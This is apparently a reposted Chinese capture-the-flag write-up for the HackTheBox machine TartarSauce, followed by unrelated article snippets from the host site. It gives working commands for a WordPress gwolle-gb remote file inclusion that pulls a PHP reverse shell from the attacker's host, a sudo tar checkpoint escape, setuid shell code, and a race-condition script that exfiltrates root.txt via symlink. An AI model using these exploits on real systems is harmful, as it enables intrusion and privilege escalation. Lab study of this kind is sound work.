[Meachines] [Medium] TartarSauce Wordpress-gwolle-gb-RFI+tar权限提升+定时器备份文件权限提升

news2024/11/16 18:06:20

信息收集

IP AddressOpening Ports
10.10.10.88TCP:80

$ nmap -p- 10.10.10.88 --min-rate 1000 -sC -sV

PORT   STATE SERVICE    VERSION
80/tcp open  tcpwrapped

Wordpress & gwolle-gb & RFI

image.png

$ feroxbuster --url http://10.10.10.88/

image-1.png

$ wpscan --url http://10.10.10.88:80/webservices/wp -e ap --plugins-detection aggressive -t 100

image-2.png

image-3.png

$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/test'

image-4.png

$ cp /usr/share/webshells/php/php-reverse-shell.php wp-load.php

image-5.png

$ curl 'http://10.10.10.88/webservices/wp/wp-content/plugins/gwolle-gb/frontend/captcha/ajaxresponse.php?abspath=http://10.10.16.24/'

image-6.png

www-data to onuma

$ python -c 'import pty; pty.spawn("/bin/bash")'

$ sudo -l

image-7.png

$ sudo -u onuma tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh

image-8.png

User.txt

1895da47f6758f6ddf1f8c8ea61b4c4a

权限提升

系统中有一个名为 “backuperer.service” 的 systemd 定时器每隔几分钟运行一次。

image-9.png

$ find / -name backuperer 2>/dev/null

image-10.png

$ cat /usr/sbin/backuperer

image-11.png

# 定义变量
basedir=/var/www/html    # 备份源目录
bkpdir=/var/backups       # 备份文件保存目录
tmpdir=/var/tmp           # 临时目录
testmsg=$bkpdir/onuma_backup_test.txt    # 记录备份运行时间的测试消息文件
errormsg=$bkpdir/onuma_backup_error.txt  # 记录备份错误的文件
tmpfile=$tmpdir/.$(/usr/bin/head -c100 /dev/urandom |sha1sum|cut -d' ' -f1)  # 存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希
check=$tmpdir/check      # 临时目录,用于存储解压后的备份文件

# 格式化函数
printbdr() {
    for n in $(seq 72); do
        /usr/bin/printf $"-"
    done
}
bdr=$(printbdr)  # 将分隔符保存到 bdr 变量中

# 记录备份时间
/usr/bin/printf $"$bdr\nAuto backup backuperer backup last ran at : $(/bin/date)\n$bdr\n" > $testmsg

# 清理
/bin/rm -rf $tmpdir/.* $check

# 执行备份
/usr/bin/sudo -u onuma /bin/tar -zcvf $tmpfile $basedir &

# 等待备份完成
/bin/sleep 30

# 检查备份完整性
integrity_chk() {
    /usr/bin/diff -r $basedir $check$basedir
}

# 创建 $check 目录
/bin/mkdir $check

# 解压备份文件
/bin/tar -zxvf $tmpfile -C $check

# 调用 integrity_chk 函数检查备份的完整性
if [[ $(integrity_chk) ]]; then
    # 记录错误信息并退出
    /usr/bin/printf $"$bdr\nIntegrity Check Error in backup last ran :  $(/bin/date)\n$bdr\n$tmpfile\n" >> $errormsg
    integrity_chk >> $errormsg
    exit 2
else
    # 移动备份文件到目标目录并清理临时文件
    /bin/mv $tmpfile $bkpdir/onuma-www-dev.bak
    /bin/rm -rf $check .*
    exit 0
fi

1.自动清除/tmp目录下以.并且以SHA1 哈希值开头的隐藏备份文件.
2.使用onuma权限备份/var/www/html目录下文件到/var/tmp目录,存储备份文件的临时文件,文件名是从随机数据生成的 SHA1 哈希.
3./var/tmp目录中被创建check文件夹.
4.解压备份文件/var/tmp中,以.并且以SHA1 哈希值开头的隐藏备份文件到/var/tmp/check目录
5.调用 integrity_chk 函数检查备份的完整性

主要问题存在于/bin/tar -zxvf $tmpfile -C $check作用于/var/tmp中提取文件覆盖到/var/tmp/check目录中,我们需要在在它备份成一个.hash文件的时候劫持替换成恶意的压缩文件

构造payload

//setuid.c
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <unistd.h>

int main(void) {
    setuid(0);
    setgid(0);
    system("/bin/sh");
}

$ sudo apt install gcc-multilib

$ gcc -m32 -o setuid setuid.c

$ chmod 4755 setuid

$ mkdir -p var/www/html

$ mv setuid ./var/www/html

$ tar -zcvf setuid.tar.gz var/

onuma@TartarSauce:/var/tmp$ wget http://10.10.16.24/setuid.tar.gz

等待定时器执行后在/var/tmp下会出现一个文件

.xxxxxx

image-12.png

替换文件

$ cp setuid.tar.gz .0d2369d13e9d34f9b994242d49e4446197b2ef18

整个过程只有5分钟之内可以利用,否则会将check文件删除,这里为var/www/html是为了绕过integrity_chk函数,不产生错误的正常的执行完成。它会比较/var/tmp/check的目录结构是否和/var/www/html下的路径是否一致。

image-13.png

onuma@TartarSauce:/var/tmp/check/var/www/html$ ./setuid

但是似乎不兼容

image-14.png

利用软连接+错误日志获取Flag

#!/bin/bash
# exp.sh
# work out of shm
cd /dev/shm

# set both start and cur equal to any backup file if it's there
start=$(find /var/tmp -maxdepth 1 -type f -name ".*")
cur=$(find /var/tmp -maxdepth 1 -type f -name ".*")

# loop until there's a change in cur
echo "Waiting for archive filename to change..."
while [ "$start" == "$cur" -o "$cur" == "" ] ; do
    sleep 10;
    cur=$(find /var/tmp -maxdepth 1 -type f -name ".*");
done

# Grab a copy of the archive
echo "File changed... copying here"
cp $cur .

# get filename
fn=$(echo $cur | cut -d'/' -f4)

# extract archive
tar -zxf $fn

# remove robots.txt and replace it with link to root.txt
rm var/www/html/robots.txt
ln -s /root/root.txt var/www/html/robots.txt

# remove old archive
rm $fn

# create new archive
tar czf $fn var

# put it back, and clean up
mv $fn $cur
rm $fn
rm -rf var

# wait for results
echo "Waiting for new logs..."
tail -f /var/backups/onuma_backup_error.txt

$ wget http://10.10.16.24/exp.sh
$ chmod +x exp.sh
$ ./exp.sh

image-15.png

Root.txt

6d1a541ae753613c68668f1ed114ffc9

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2049506.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

汽车IVI中控OS Linux driver开发实操(二十五):GPIO设备驱动的上手编写

概述: 1、验证GPIO是否有效。 2、如果有效,则可以从内核GPIO子系统请求GPIO。 3、将GPIO导出到sysfs(这是可选的)。 4、设置GPIO的方向 5、如果将GPIO设置为输出引脚,则将其设置为高/低。 6、设置去抖动间隔,如果将其设置为输入引脚,则读取状态。您还可以为边缘/级别触…

图像直方图计算

1. 图像直方图&#xff08;Image histogram&#xff09; 图像直方图&#xff0c;又叫影像直方图&#xff0c;是一种用来表现数位影像中像素分布的直方图&#xff0c;根据统计影像中不同亮度的像素总数&#xff0c;我们可以画出一张代表这张影像的影像直方图&#xff0c;透过这…

排序算法【快速排序】

一、快速排序算法原理 直接采用实际的例子解释原理&#xff0c;实际的数组如下图所示。 排序算法流程如下所示 然后按照上面顺序递归下去&#xff0c;直到排序完成推出。 二、算法代码 #include <stdio.h> #include "test.h"/* 快速排序算法 */ void quick_s…

Camera基础知识系列(1)——凸\凹透镜

目录 前言 一. 凸\凹透镜 1 凸透镜 1.1 凸透镜成像 1.2 物距\像距 1.3 凸透镜成像规律 2. 凹透镜 2.1 凹透镜成像规律 二. 相机 相机镜头 前言 平日里总是时不时地听到别人讲起一些摄影相关的术语&#xff0c;比如&#xff1a;光圈、焦距、等效焦距、EV、画幅、景深、快门…

使用Qdrant+FastText实现向量存储和检索

1 概述 在《使用FastText库训练词向量》一文中&#xff0c;已经训练并保存好了一个用 FastText 训练的词向量模型-model_0809_001。在接下来的实践中&#xff0c;将直接使用该词向量模型来生成对应数据的向量&#xff0c;然后将向量和对应的负载存储到 Qdrant 中&#xff0c;然…

基于Conda的Python版本管理与Python包管理

文章目录 前言Conda是什么Conda与Anaconda安装Anaconda安装包windows v2024.06-1安装包更多版本安装包(Windows/Mac/Linux) 安装 使用步骤创建Python环境激活Python环境安装Python包列出和切换 Python 版本管理多个环境 总结 前言 开发环境中&#xff0c;需要使用不同的Python…

eNSP 华为三层交换机配置DHCP

华为三层交换机配置DHCP 华为DHCP原理&#xff1a;&#xff08;思科四个都是广播包&#xff09; 1、客户端广播发送DHCP Discover包。用于发现当前局域网中的DHCP服务器。 2、DHCP服务器单播发送DHCP Offer包给客户端。携带分配给客户端的IP地址。 3、客户端广播发送DHCP Resqe…

如何给Airtest脚本/报告增加log记录

1. 前言 尽管Airtest脚本运行过程中会输出非常丰富的log信息&#xff0c;并且Airtest报告也会把我们脚本的的运行步骤显示出来&#xff0c;但有时候&#xff0c;我们会需要在脚本里面&#xff0c;插入一些自定义的log内容&#xff08;比如某些关键点&#xff09;&#xff0c;并…

UR5e机器人Gazebo仿真模拟

Gazebo仿真环境 Gazebo是一款开源的机器人仿真平台&#xff0c;基于物理引擎&#xff0c;能够模拟机器人在真实世界中的运动和交互。它支持多种机器人模型与传感器&#xff0c;以及丰富的环境场景&#xff0c;为机器人研发提供了便捷的测试平台。 UR5e机器人Gazebo仿真模拟步骤…

基于Windows系统和‌Linux系统,以tomcat为案例,讲解如何新增自启动服务。

文章目录 引言‌I Linux系统‌(以CentOS为例)基础知识:运行级别(run level)基于chkconfig 工具,设置服务启动类型。基于systemctl 新增系统服务制定定时任务优化停止Tomcat服务命令II 基于Windows系统设置服务自启动的常规操作安装多个tomcat服务,并设置自启动。引言 场景…

IDEA中@Test测试时无法通过键盘输入

在IDEA中使用Test发现Scanner无法在控制台输入&#xff0c;如下所示&#xff1a; 发现这里是只读模式&#xff0c;无法进行输入。 解决方案&#xff1a; 找到编辑虚拟机选项&#xff0c;添加如下&#xff1a; -Deditable.java.test.consoletrue 如下所示:(重启一次IEDA)

R语言统计分析——多元线性回归

参考资料&#xff1a;R语言实战【第2版】 1、多元线性回归 当预测变量不止一个时&#xff0c;简单线性回归就变成了多元线性回归。从技术上来说&#xff0c;多项式回归可以算是多元线性回归的特例&#xff1a;二次回归有两个预测变量&#xff08;X和X^2&#xff09;。 以基础包…

使用DOM破坏启动xss

实验环境&#xff1a; Lab: Exploiting DOM clobbering to enable XSS | Web Security Academy (portswigger.net) 分析&#xff1a; 找破坏点&#xff1a; 第一个输入框可以看见是<texarrea>;不能插入语句.&#xff1a; 构造一个语句试试 <img src1 οnerrοraler…

深入理解HTTPS协议:CA证书的安全机制

文章目录 一、HTTP的不足二、HTTP 加密 证书 完整性保护 HTTPS三、加密与解密1、对称密钥加密2、非对称密钥加密3、证书 一、HTTP的不足 HTTP 主要有这些不足&#xff0c;例举如下&#xff1a; 通信使用明文&#xff08;不加密&#xff09;&#xff0c;内容可能会被窃听不…

kettle获取URL接口数据

使用kettle获取URL接口数据结果保留到文件里 1 生成记录里添加URL信息 2 使用Rest_Client组件处理URL数据结果保存到字段里&#xff08;json的&#xff09; 3 使用json_input 组件处理json数据 4 保存结果到文件里

【protobuf】ProtoBuf——proto3语法详解、字段规则、消息类型的定义与使用、通讯录的写入和读取功能实现

文章目录 ProtoBuf5. proto3语法详解5.1 字段规则5.2 消息类型的定义与使用 ProtoBuf 5. proto3语法详解 在语法详解部分&#xff0c;依旧通过项目推进的方式开展教学。此部分会对通讯录多次升级&#xff0c;用 2.x 表示升级的版本&#xff0c;最终将完成以下内容的升级&#x…

2 C 语言开发工具的选择、 MinGW 的安装与配置、VS Code 的安装与配置、插件推荐

目录 1 开发工具的选择 1.1 Visual Studio 1.2 Code::Block 1.3 Clion 1.4 VS Code 1.5 在线编辑工具 2 开发工具安装 2.1 安装 MinGW-w64 2.1.1 MinGW-w64 介绍 2.1.2 解压 MinGW 2.1.3 将 MinGW 添加至环境变量 2.1.4 验证安装 2.2 安装 VS Code 2.2.1 下载安装…

无刷直流电机的个人总结

电机分类 主要分为两大类&#xff1a;有刷电机&#xff0c;无刷电机 有刷电机 原理图截图来源&#xff0c;工作原理就是对转子线圈通电后产生磁性和外壳中的永磁体相互作用&#xff0c;导致转子转动。而在转子转动过程中如果不改变电流方向&#xff0c;那么磁性不变&#xf…

ROS机械臂——ROS结合OpenCV案例(含资源)

纲要 摄像头驱动 图像属性 图像压缩 ### Realsense摄像头 点云展示 ### 点云图像属性 ## 摄像头标定 摄像头标定流程 如何使用标定文件 OpenCV ROS与OpenCV的集成框架 ![在这里插入图片描述](https://i-blog.csdnimg.cn/direct/b0ff143b710543839325d19c7a3c04c5.png R…

【Mysql】Xtrabackup备份恢复(Mysql5.6/5.7/8.0)

目录 一、前言 二、Mysql8.0为例 1、安装Xtraback工具 1&#xff09;mysql8.0.x版本 2&#xff09;mysql5.6、5.7版本 2、备份操作 3、恢复操作 一、前言 官网下载地址&#xff1a;Software Downloads - Percona 本测试环境&#xff1a;centos_x86、mysql8.0.39、mysq…